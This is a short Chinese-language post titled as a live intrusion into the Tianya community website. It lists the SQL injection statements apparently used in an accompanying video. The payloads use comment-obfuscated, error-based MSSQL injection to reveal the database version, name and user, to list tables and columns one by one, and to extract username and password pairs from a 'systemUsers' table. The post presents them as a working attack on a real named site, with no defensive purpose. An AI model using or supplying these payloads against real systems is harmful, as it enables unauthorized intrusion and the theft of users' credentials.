入侵天涯社区现场

　　下面是视频中用到的语句

　　'/**/and/**/(select/**/@@version)=1-- 数据库版本

　　'/**/and/**/(select/**/db_name())=1-- 当前数据库

　　'/**/and/**/user>0-- 当前用户名

　　'/**/and/**/(select/**/top/**/1/**/name/**/from/**/lp.dbo.sysobjects/**/where/**/xtype='U')>0-- 当前库的首个表

　　'/**/and/**/(select/**/top/**/1/**/name/**/from/**/lp.dbo.sysobjects/**/where/**/xtype='U'/**/and/**/name/**/not/**/in/**/('question'))>0-- 依次列出

　　'/**/and/**/(select/**/top/**/1/**/name/**/from/**/lp.dbo.sysobjects/**/where/**/xtype='U'/**/and/**/name/**/not/**/in/**/('question','info_main'))>0--

　　'/**/and/**/(select/**/top/**/1/**/name/**/from/**/lp.dbo.sysobjects/**/where/**/xtype='U'/**/and/**/name/**/not/**/in/**/('question','info_main','playnum'))>0--

　　'/**/and/**/(select/**/top/**/1/**/name/**/from/**/lp.dbo.sysobjects/**/where/**/xtype='U'/**/and/**/name/**/not/**/in/**/('question','info_main','playnum','prize'))>0--

　　'/**/and/**/(select/**/top/**/1/**/col_name(object_id('systemUsers'),1)/**/from/**/sysobjects)>0-- 爆systemUsers表的字段,数字递增

　　'/**/and/**/(select/**/top/**/1/**/username+char(124)+password/**/from/**/systemUsers)>0-- 账号密码

　　好吧.为了防止被和谐.禁止转载好了.